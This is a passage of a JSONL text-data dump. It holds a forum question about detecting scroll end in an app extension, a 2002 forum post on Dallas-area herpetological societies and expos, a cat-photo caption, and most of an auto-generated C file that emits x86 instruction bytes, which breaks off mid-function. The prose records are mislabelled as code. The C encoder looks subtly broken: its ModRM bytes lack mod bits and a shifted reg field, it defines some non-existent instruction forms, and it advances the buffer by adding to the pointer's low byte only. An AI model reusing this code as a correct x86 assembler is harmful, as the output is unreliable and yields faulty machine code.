"token_count_with_eod": 704, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "How can I know when the user wants to continue scrolling, but reaches the end of the scroll.\nI have already tried this extension and apparently it has video driver problems, the error occurs when you register an arrage and use two fingers to zoom and the app simply does not respond and closes, unless this link that you share with me is the update of that version with errors…\nI used this extension for my projects… And hope the updated version has bug .\nYou tell me that you have a version of this extension that does not have errors?\nYou could try ScrollHandler: Handle the scroll of scroll views\nI currently use that extension, but it doesn’t have an event as such to identify when the maximum scroll is, however I think it has to be done but I don’t know how.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "mobile - desktop\nAvailable Now at RodentPro.com!\nNews & Events:\nPosted by troy h on September 11, 2002 at 09:47:31:\nIn Reply to: Actually this is becoming extremely sad... posted by Kenny Wray on September 10, 2002 at 12:27:31:\nlet me first say that i'm not \"for\" either Carl's show or the Arnold's show. fact is, i have my reservations about both operations. but the pros and cons of each competing group is not what i'm here to discuss - the relationship that a herp society has with a particular a show is.\nmy herp society experience spans 3 dallas area societies: the DHS, NTHS, and (to a lesser degree) the DFWHS. i also have a longstanding membership in the Texas Herp Society and the ETHS (Houston). what that experience tells me is that when a society focuses too narrowly, that society will not last.\n1) DHS began to focus almost exclusively on legal matters, contesting TPWD anti-herping regulations\n2) NTHS allowed its focus (and its draw to the public) to become the live animals that were offered for sale at meetings by various members and vendors. when the herp market (and thus sales) declined, the vendors quit coming. without \"for sale\" snakes to look at, membership declined.\nOn the opposite extreme is the Texas Herp Society (THS) which is purely oriented towards academics and field herpers, with its fall symposium and spring field trip. This society has never had a huge membership (perhaps 200, at most) but it has surived since 1939.\nthe ETHS falls somewhere in the middle. it has field trips (occassionally), does not allow the sale of herps at its meetings (due mostly to the fact that the zoo, where meetings are held, does not allow it), but does host an annual conference and breeder's expo. The conference is usually very successful, although (to my eye, i don't have numbers) it seems that attendance, while still high, has declined the past few years. i think their success, while still holding an expo is largely due to the fact that they control it. Further credit must be given to their core of officers, who seem to accept the fact that they will be some sort of officer \"for life\" rather than hand off the chores to others (part of the problem with NTHS).\nI disagree with Kenny that a society that sponsors a show will die off. obviously, it isn't happening in houston. however, i think a society should be very careful about linking thier fortune to the fortunes of the herp trade (which is currently in a \"down\" cycle). I think houston (ETHS) survives largely because it isn't driven by the herp trade, but rather by education - and that they allow an annual outlet for trade (or keep the trading in the parking lot instead of the meeting room).\nhow does this discussion pertain to the DFWHS? i think you guys should be very careful about your association with herp shows. i thought that severing your ties with the Texas Reptile Expo was a good move, because your society's stated goals of conservation did not align themselves well with the commericialism or sale of wild-caught herps present at those expos.\nat the same time, however, it now APPEARS that you have allied yourselves with Carl's show. while i wasn't there, and can't make any grounded statements about the adherence of the vendors to Carl's \"cb only\" policy, what i'm hearing (3rd hand) suggests that there were wc or captive-born from wc animals available there.\nfurthermore, i'm given to understand that it was Carl, as a board member of the DFWHS who made the motion that the DFWHS sever its ties with the Texas Reptile Expo, seconded by Steve Hammack. now it is these same members of the society that have organized a competing expo. Please don't misunderstand - I don't have a particular problem with either of these individuals organizing a new expo. What i'm saying is that it LOOKS LIKE (because the organizers are officers of the DFWHS) is that the DFWHS is associated with and sponsoring the new expo rather than the Arnold's show.\nfrom the outside, i guess the whole affair seems perhaps a little distasteful.\nGood luck to you all\n(taking a break from local herp societies in general)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 972, "token_count_with_eod": 973, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "2. Intimacy (awareness)\nWhen animals focus on something interesting they see or do there is a priceless expression in their eyes.\nMy cat Tom was addicted to water. Wherever he heard water he was present. This is a moment I captured while playing with the water hose in the garden.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 63, "token_count_with_eod": 64, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "// Automatically generated file.\n\n#include <assert.h>\n#include <stdint.h>\n\n#define byte uint8_t\n#define bool _Bool\n#define CALLCONV \n\n#define get_prefix(r) (r > 7 && (r -= 8) == r)\n\n#define Reg8 uint8_t\n#define Reg8_al 0\n#define Reg8_cl 1\n#define Reg8_dl 2\n#define Reg8_bl 3\n#define Reg8_spl 4\n#define Reg8_bpl 5\n#define Reg8_sil 6\n#define Reg8_dil 7\n#define Reg8_r8b 8\n#define Reg8_r9b 9\n#define Reg8_r10b 10\n#define Reg8_r11b 11\n#define Reg8_r12b 12\n#define Reg8_r13b 13\n#define Reg8_r14b 14\n#define Reg8_r15b 15\n#define Reg16 uint8_t\n#define Reg16_ax 0\n#define Reg16_cx 1\n#define Reg16_dx 2\n#define Reg16_bx 3\n#define Reg16_sp 4\n#define Reg16_bp 5\n#define Reg16_si 6\n#define Reg16_di 7\n#define Reg16_r8w 8\n#define Reg16_r9w 9\n#define Reg16_r10w 10\n#define Reg16_r11w 11\n#define Reg16_r12w 12\n#define Reg16_r13w 13\n#define Reg16_r14w 14\n#define Reg16_r15w 15\n#define Reg32 uint8_t\n#define Reg32_eax 0\n#define Reg32_ecx 1\n#define Reg32_edx 2\n#define Reg32_ebx 3\n#define Reg32_esp 4\n#define Reg32_ebp 5\n#define Reg32_esi 6\n#define Reg32_edi 7\n#define Reg32_r8d 8\n#define Reg32_r9d 9\n#define Reg32_r10d 10\n#define Reg32_r11d 11\n#define Reg32_r12d 12\n#define Reg32_r13d 13\n#define Reg32_r14d 14\n#define Reg32_r15d 15\n#define Reg64 uint8_t\n#define Reg64_rax 0\n#define Reg64_rcx 1\n#define Reg64_rdx 2\n#define Reg64_rbx 3\n#define Reg64_rsp 4\n#define Reg64_rbp 5\n#define Reg64_rsi 6\n#define Reg64_rdi 7\n#define Reg64_r8 8\n#define Reg64_r9 9\n#define Reg64_r10 10\n#define Reg64_r11 11\n#define Reg64_r12 12\n#define Reg64_r13 13\n#define Reg64_r14 14\n#define Reg64_r15 15\n#define Reg128 uint8_t\n\nvoid CALLCONV pushf(void** buf) {\n    *(uint8_t*)(*buf) = 156;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV popf(void** buf) {\n    *(uint8_t*)(*buf) = 157;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV ret(void** buf) {\n    *(uint8_t*)(*buf) = 195;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV clc(void** buf) {\n    *(uint8_t*)(*buf) = 248;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV stc(void** buf) {\n    *(uint8_t*)(*buf) = 249;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV cli(void** buf) {\n    *(uint8_t*)(*buf) = 250;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV sti(void** buf) {\n    *(uint8_t*)(*buf) = 251;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV cld(void** buf) {\n    *(uint8_t*)(*buf) = 252;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV std(void** buf) {\n    *(uint8_t*)(*buf) = 253;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV jo_imm8(void** buf, int8_t operand) {\n    *(uint8_t*)(*buf) = 112;\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = operand;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV jno_imm8(void** buf, int8_t operand) {\n    *(uint8_t*)(*buf) = 113;\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = operand;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV jb_imm8(void** buf, int8_t operand) {\n    *(uint8_t*)(*buf) = 114;\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = operand;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV jnae_imm8(void** buf, int8_t operand) {\n    *(uint8_t*)(*buf) = 114;\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = operand;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV jc_imm8(void** buf, int8_t operand) {\n    *(uint8_t*)(*buf) = 114;\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = operand;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV jnb_imm8(void** buf, int8_t operand) {\n    *(uint8_t*)(*buf) = 115;\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = operand;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV jae_imm8(void** buf, int8_t operand) {\n    *(uint8_t*)(*buf) = 115;\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = operand;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV jnc_imm8(void** buf, int8_t operand) {\n    *(uint8_t*)(*buf) = 115;\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = operand;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV jz_imm8(void** buf, int8_t operand) {\n    *(uint8_t*)(*buf) = 116;\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = operand;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV je_imm8(void** buf, int8_t operand) {\n    *(uint8_t*)(*buf) = 116;\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = operand;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV jnz_imm8(void** buf, int8_t operand) {\n    *(uint8_t*)(*buf) = 117;\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = operand;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV jne_imm8(void** buf, int8_t operand) {\n    *(uint8_t*)(*buf) = 117;\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = operand;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV jbe_imm8(void** buf, int8_t operand) {\n    *(uint8_t*)(*buf) = 118;\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = operand;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV jna_imm8(void** buf, int8_t operand) {\n    *(uint8_t*)(*buf) = 118;\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = operand;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV jnbe_imm8(void** buf, int8_t operand) {\n    *(uint8_t*)(*buf) = 119;\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = operand;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV ja_imm8(void** buf, int8_t operand) {\n    *(uint8_t*)(*buf) = 119;\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = operand;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV js_imm8(void** buf, int8_t operand) {\n    *(uint8_t*)(*buf) = 120;\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = operand;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV jns_imm8(void** buf, int8_t operand) {\n    *(uint8_t*)(*buf) = 121;\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = operand;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV jp_imm8(void** buf, int8_t operand) {\n    *(uint8_t*)(*buf) = 122;\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = operand;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV jpe_imm8(void** buf, int8_t operand) {\n    *(uint8_t*)(*buf) = 122;\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = operand;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV jnp_imm8(void** buf, int8_t operand) {\n    *(uint8_t*)(*buf) = 123;\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = operand;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV jpo_imm8(void** buf, int8_t operand) {\n    *(uint8_t*)(*buf) = 123;\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = operand;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV jl_imm8(void** buf, int8_t operand) {\n    *(uint8_t*)(*buf) = 124;\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = operand;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV jnge_imm8(void** buf, int8_t operand) {\n    *(uint8_t*)(*buf) = 124;\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = operand;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV jnl_imm8(void** buf, int8_t operand) {\n    *(uint8_t*)(*buf) = 125;\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = operand;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV jge_imm8(void** buf, int8_t operand) {\n    *(uint8_t*)(*buf) = 125;\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = operand;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV jle_imm8(void** buf, int8_t operand) {\n    *(uint8_t*)(*buf) = 126;\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = operand;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV jng_imm8(void** buf, int8_t operand) {\n    *(uint8_t*)(*buf) = 126;\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = operand;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV jnle_imm8(void** buf, int8_t operand) {\n    *(uint8_t*)(*buf) = 127;\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = operand;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV jg_imm8(void** buf, int8_t operand) {\n    *(uint8_t*)(*buf) = 127;\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = operand;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV inc_r16(void** buf, Reg16 operand) {\n    *(uint8_t*)(*buf) = (102 + get_prefix(operand));\n    *(byte*)buf += 1;\n    *(uint8_t*)(*buf) = (64 + operand);\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV inc_r32(void** buf, Reg32 operand) {\n    if ((operand > 7))\n    {\n        *(uint8_t*)(*buf) = 65;\n        *(byte*)buf += 1;\n    }\n    *(uint8_t*)(*buf) = (64 + operand);\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV dec_r16(void** buf, Reg16 operand) {\n    *(uint8_t*)(*buf) = (102 + get_prefix(operand));\n    *(byte*)buf += 1;\n    *(uint8_t*)(*buf) = (72 + operand);\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV dec_r32(void** buf, Reg32 operand) {\n    if ((operand > 7))\n    {\n        *(uint8_t*)(*buf) = 65;\n        *(byte*)buf += 1;\n    }\n    *(uint8_t*)(*buf) = (72 + operand);\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV push_r16(void** buf, Reg16 operand) {\n    *(uint8_t*)(*buf) = (102 + get_prefix(operand));\n    *(byte*)buf += 1;\n    *(uint8_t*)(*buf) = (80 + operand);\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV push_r32(void** buf, Reg32 operand) {\n    if ((operand > 7))\n    {\n        *(uint8_t*)(*buf) = 65;\n        *(byte*)buf += 1;\n    }\n    *(uint8_t*)(*buf) = (80 + operand);\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV pop_r16(void** buf, Reg16 operand) {\n    *(uint8_t*)(*buf) = (102 + get_prefix(operand));\n    *(byte*)buf += 1;\n    *(uint8_t*)(*buf) = (88 + operand);\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV pop_r32(void** buf, Reg32 operand) {\n    if ((operand > 7))\n    {\n        *(uint8_t*)(*buf) = 65;\n        *(byte*)buf += 1;\n    }\n    *(uint8_t*)(*buf) = (88 + operand);\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV pop_r64(void** buf, Reg64 operand) {\n    *(uint8_t*)(*buf) = (72 + get_prefix(operand));\n    *(byte*)buf += 1;\n    *(uint8_t*)(*buf) = (88 + operand);\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV add_rm8_imm8(void** buf, Reg8 reg, int8_t value) {\n    *(uint8_t*)(*buf) = 128;\n    *(byte*)buf += 1;\n    *(Reg8*)(*buf) = (reg + 0);\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = value;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV or_rm8_imm8(void** buf, Reg8 reg, int8_t value) {\n    *(uint8_t*)(*buf) = 128;\n    *(byte*)buf += 1;\n    *(Reg8*)(*buf) = (reg + 1);\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = value;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV adc_rm8_imm8(void** buf, Reg8 reg, int8_t value) {\n    *(uint8_t*)(*buf) = 128;\n    *(byte*)buf += 1;\n    *(Reg8*)(*buf) = (reg + 2);\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = value;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV sbb_rm8_imm8(void** buf, Reg8 reg, int8_t value) {\n    *(uint8_t*)(*buf) = 128;\n    *(byte*)buf += 1;\n    *(Reg8*)(*buf) = (reg + 3);\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = value;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV and_rm8_imm8(void** buf, Reg8 reg, int8_t value) {\n    *(uint8_t*)(*buf) = 128;\n    *(byte*)buf += 1;\n    *(Reg8*)(*buf) = (reg + 4);\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = value;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV sub_rm8_imm8(void** buf, Reg8 reg, int8_t value) {\n    *(uint8_t*)(*buf) = 128;\n    *(byte*)buf += 1;\n    *(Reg8*)(*buf) = (reg + 5);\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = value;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV xor_rm8_imm8(void** buf, Reg8 reg, int8_t value) {\n    *(uint8_t*)(*buf) = 128;\n    *(byte*)buf += 1;\n    *(Reg8*)(*buf) = (reg + 6);\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = value;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV cmp_rm8_imm8(void** buf, Reg8 reg, int8_t value) {\n    *(uint8_t*)(*buf) = 128;\n    *(byte*)buf += 1;\n    *(Reg8*)(*buf) = (reg + 7);\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = value;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV add_rm16_imm16(void** buf, Reg16 reg, int16_t value) {\n    *(uint8_t*)(*buf) = 102;\n    *(byte*)buf += 1;\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg16*)(*buf) = (reg + 0);\n    *(byte*)buf += 1;\n    *(int16_t*)(*buf) = value;\n    *(byte*)buf += 2;\n}\n\nvoid CALLCONV add_rm16_imm32(void** buf, Reg16 reg, int32_t value) {\n    *(uint8_t*)(*buf) = 102;\n    *(byte*)buf += 1;\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg16*)(*buf) = (reg + 0);\n    *(byte*)buf += 1;\n    *(int32_t*)(*buf) = value;\n    *(byte*)buf += 4;\n}\n\nvoid CALLCONV add_rm32_imm16(void** buf, Reg32 reg, int16_t value) {\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg32*)(*buf) = (reg + 0);\n    *(byte*)buf += 1;\n    *(int16_t*)(*buf) = value;\n    *(byte*)buf += 2;\n}\n\nvoid CALLCONV add_rm32_imm32(void** buf, Reg32 reg, int32_t value) {\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg32*)(*buf) = (reg + 0);\n    *(byte*)buf += 1;\n    *(int32_t*)(*buf) = value;\n    *(byte*)buf += 4;\n}\n\nvoid CALLCONV or_rm16_imm16(void** buf, Reg16 reg, int16_t value) {\n    *(uint8_t*)(*buf) = 102;\n    *(byte*)buf += 1;\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg16*)(*buf) = (reg + 1);\n    *(byte*)buf += 1;\n    *(int16_t*)(*buf) = value;\n    *(byte*)buf += 2;\n}\n\nvoid CALLCONV or_rm16_imm32(void** buf, Reg16 reg, int32_t value) {\n    *(uint8_t*)(*buf) = 102;\n    *(byte*)buf += 1;\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg16*)(*buf) = (reg + 1);\n    *(byte*)buf += 1;\n    *(int32_t*)(*buf) = value;\n    *(byte*)buf += 4;\n}\n\nvoid CALLCONV or_rm32_imm16(void** buf, Reg32 reg, int16_t value) {\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg32*)(*buf) = (reg + 1);\n    *(byte*)buf += 1;\n    *(int16_t*)(*buf) = value;\n    *(byte*)buf += 2;\n}\n\nvoid CALLCONV or_rm32_imm32(void** buf, Reg32 reg, int32_t value) {\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg32*)(*buf) = (reg + 1);\n    *(byte*)buf += 1;\n    *(int32_t*)(*buf) = value;\n    *(byte*)buf += 4;\n}\n\nvoid CALLCONV adc_rm16_imm16(void** buf, Reg16 reg, int16_t value) {\n    *(uint8_t*)(*buf) = 102;\n    *(byte*)buf += 1;\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg16*)(*buf) = (reg + 2);\n    *(byte*)buf += 1;\n    *(int16_t*)(*buf) = value;\n    *(byte*)buf += 2;\n}\n\nvoid CALLCONV adc_rm16_imm32(void** buf, Reg16 reg, int32_t value) {\n    *(uint8_t*)(*buf) = 102;\n    *(byte*)buf += 1;\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg16*)(*buf) = (reg + 2);\n    *(byte*)buf += 1;\n    *(int32_t*)(*buf) = value;\n    *(byte*)buf += 4;\n}\n\nvoid CALLCONV adc_rm32_imm16(void** buf, Reg32 reg, int16_t value) {\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg32*)(*buf) = (reg + 2);\n    *(byte*)buf += 1;\n    *(int16_t*)(*buf) = value;\n    *(byte*)buf += 2;\n}\n\nvoid CALLCONV adc_rm32_imm32(void** buf, Reg32 reg, int32_t value) {\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg32*)(*buf) = (reg + 2);\n    *(byte*)buf += 1;\n    *(int32_t*)(*buf) = value;\n    *(byte*)buf += 4;\n}\n\nvoid CALLCONV sbb_rm16_imm16(void** buf, Reg16 reg, int16_t value) {\n    *(uint8_t*)(*buf) = 102;\n    *(byte*)buf += 1;\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg16*)(*buf) = (reg + 3);\n    *(byte*)buf += 1;\n    *(int16_t*)(*buf) = value;\n    *(byte*)buf += 2;\n}\n\nvoid CALLCONV sbb_rm16_imm32(void** buf, Reg16 reg, int32_t value) {\n    *(uint8_t*)(*buf) = 102;\n    *(byte*)buf += 1;\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg16*)(*buf) = (reg + 3);\n    *(byte*)buf += 1;\n    *(int32_t*)(*buf) = value;\n    *(byte*)buf += 4;\n}\n\nvoid CALLCONV sbb_rm32_imm16(void** buf, Reg32 reg, int16_t value) {\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg32*)(*buf) = (reg + 3);\n    *(byte*)buf += 1;\n    *(int16_t*)(*buf) = value;\n    *(byte*)buf += 2;\n}\n\nvoid CALLCONV sbb_rm32_imm32(void** buf, Reg32 reg, int32_t value) {\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg32*)(*buf) = (reg + 3);\n    *(byte*)buf += 1;\n    *(int32_t*)(*buf) = value;\n    *(byte*)buf += 4;\n}\n\nvoid CALLCONV and_rm16_imm16(void** buf, Reg16 reg, int16_t value) {\n    *(uint8_t*)(*buf) = 102;\n    *(byte*)buf += 1;\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg16*)(*buf) = (reg + 4);\n    *(byte*)buf += 1;\n    *(int16_t*)(*buf) = value;\n    *(byte*)buf += 2;\n}\n\nvoid CALLCONV and_rm16_imm32(void** buf, Reg16 reg, int32_t value) {\n    *(uint8_t*)(*buf) = 102;\n    *(byte*)buf += 1;\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg16*)(*buf) = (reg + 4);\n    *(byte*)buf += 1;\n    *(int32_t*)(*buf) = value;\n    *(byte*)buf += 4;\n}\n\nvoid CALLCONV and_rm32_imm16(void** buf, Reg32 reg, int16_t value) {\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg32*)(*buf) = (reg + 4);\n    *(byte*)buf += 1;\n    *(int16_t*)(*buf) = value;\n    *(byte*)buf += 2;\n}\n\nvoid CALLCONV and_rm32_imm32(void** buf, Reg32 reg, int32_t value) {\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg32*)(*buf) = (reg + 4);\n    *(byte*)buf += 1;\n    *(int32_t*)(*buf) = value;\n    *(byte*)buf += 4;\n}\n\nvoid CALLCONV sub_rm16_imm16(void** buf, Reg16 reg, int16_t value) {\n    *(uint8_t*)(*buf) = 102;\n    *(byte*)buf += 1;\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg16*)(*buf) = (reg + 5);\n    *(byte*)buf += 1;\n    *(int16_t*)(*buf) = value;\n    *(byte*)buf += 2;\n}\n\nvoid CALLCONV sub_rm16_imm32(void** buf, Reg16 reg, int32_t value) {\n    *(uint8_t*)(*buf) = 102;\n    *(byte*)buf += 1;\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg16*)(*buf) = (reg + 5);\n    *(byte*)buf += 1;\n    *(int32_t*)(*buf) = value;\n    *(byte*)buf += 4;\n}\n\nvoid CALLCONV sub_rm32_imm16(void** buf, Reg32 reg, int16_t value) {\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg32*)(*buf) = (reg + 5);\n    *(byte*)buf += 1;\n    *(int16_t*)(*buf) = value;\n    *(byte*)buf += 2;\n}\n\nvoid CALLCONV sub_rm32_imm32(void** buf, Reg32 reg, int32_t value) {\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg32*)(*buf) = (reg + 5);\n    *(byte*)buf += 1;\n    *(int32_t*)(*buf) = value;\n    *(byte*)buf += 4;\n}\n\nvoid CALLCONV xor_rm16_imm16(void** buf, Reg16 reg, int16_t value) {\n    *(uint8_t*)(*buf) = 102;\n    *(byte*)buf += 1;\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg16*)(*buf) = (reg + 6);\n    *(byte*)buf += 1;\n    *(int16_t*)(*buf) = value;\n    *(byte*)buf += 2;\n}\n\nvoid CALLCONV xor_rm16_imm32(void** buf, Reg16 reg, int32_t value) {\n    *(uint8_t*)(*buf) = 102;\n    *(byte*)buf += 1;\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg16*)(*buf) = (reg + 6);\n    *(byte*)buf += 1;\n    *(int32_t*)(*buf) = value;\n    *(byte*)buf += 4;\n}\n\nvoid CALLCONV xor_rm32_imm16(void** buf, Reg32 reg, int16_t value) {\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg32*)(*buf) = (reg + 6);\n    *(byte*)buf += 1;\n    *(int16_t*)(*buf) = value;\n    *(byte*)buf += 2;\n}\n\nvoid CALLCONV xor_rm32_imm32(void** buf, Reg32 reg, int32_t value) {\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg32*)(*buf) = (reg + 6);\n    *(byte*)buf += 1;\n    *(int32_t*)(*buf) = value;\n    *(byte*)buf += 4;\n}\n\nvoid CALLCONV cmp_rm16_imm16(void** buf, Reg16 reg, int16_t value) {\n    *(uint8_t*)(*buf) = 102;\n    *(byte*)buf += 1;\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg16*)(*buf) = (reg + 7);\n    *(byte*)buf += 1;\n    *(int16_t*)(*buf) = value;\n    *(byte*)buf += 2;\n}\n\nvoid CALLCONV cmp_rm16_imm32(void** buf, Reg16 reg, int32_t value) {\n    *(uint8_t*)(*buf) = 102;\n    *(byte*)buf += 1;\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg16*)(*buf) = (reg + 7);\n    *(byte*)buf += 1;\n    *(int32_t*)(*buf) = value;\n    *(byte*)buf += 4;\n}\n\nvoid CALLCONV cmp_rm32_imm16(void** buf, Reg32 reg, int16_t value) {\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg32*)(*buf) = (reg + 7);\n    *(byte*)buf += 1;\n    *(int16_t*)(*buf) = value;\n    *(byte*)buf += 2;\n}\n\nvoid CALLCONV cmp_rm32_imm32(void** buf, Reg32 reg, int32_t value) {\n    *(uint8_t*)(*buf) = 129;\n    *(byte*)buf += 1;\n    *(Reg32*)(*buf) = (reg + 7);\n    *(byte*)buf += 1;\n    *(int32_t*)(*buf) = value;\n    *(byte*)buf += 4;\n}\n\nvoid CALLCONV add_rm16_imm8(void** buf, Reg16 reg, int8_t value) {\n    *(uint8_t*)(*buf) = 102;\n    *(byte*)buf += 1;\n    *(uint8_t*)(*buf) = 131;\n    *(byte*)buf += 1;\n    *(Reg16*)(*buf) = (reg + 0);\n    *(byte*)buf += 1;\n    *(int8_t*)(*buf) = value;\n    *(byte*)buf += 1;\n}\n\nvoid CALLCONV add_rm32_imm8(void** buf, Reg32 reg, int8_t value) {\n    *(uint8_t*)(*buf) = 131;\n    *(byte*)buf += 1;\n    